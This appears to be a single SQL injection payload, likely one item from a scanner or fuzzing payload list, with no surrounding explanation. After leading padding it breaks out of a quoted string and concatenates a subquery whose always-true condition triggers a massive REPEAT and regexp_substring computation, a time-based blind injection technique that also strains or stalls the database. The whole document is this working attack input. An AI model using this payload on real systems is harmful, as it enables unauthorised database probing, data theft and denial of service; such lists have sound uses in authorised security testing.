dddddddddddddddddddddddddddddddd22222222222222222222222222221'|| ( select 'eayf' where 5431 = 5431 and char ( 120 ) ||char ( 106 ) ||char ( 117 ) ||char ( 85 )  = regexp_substring ( repeat ( right ( char ( 9981 ) ,0 ) ,5000000000 ) ,null  )  )  ||'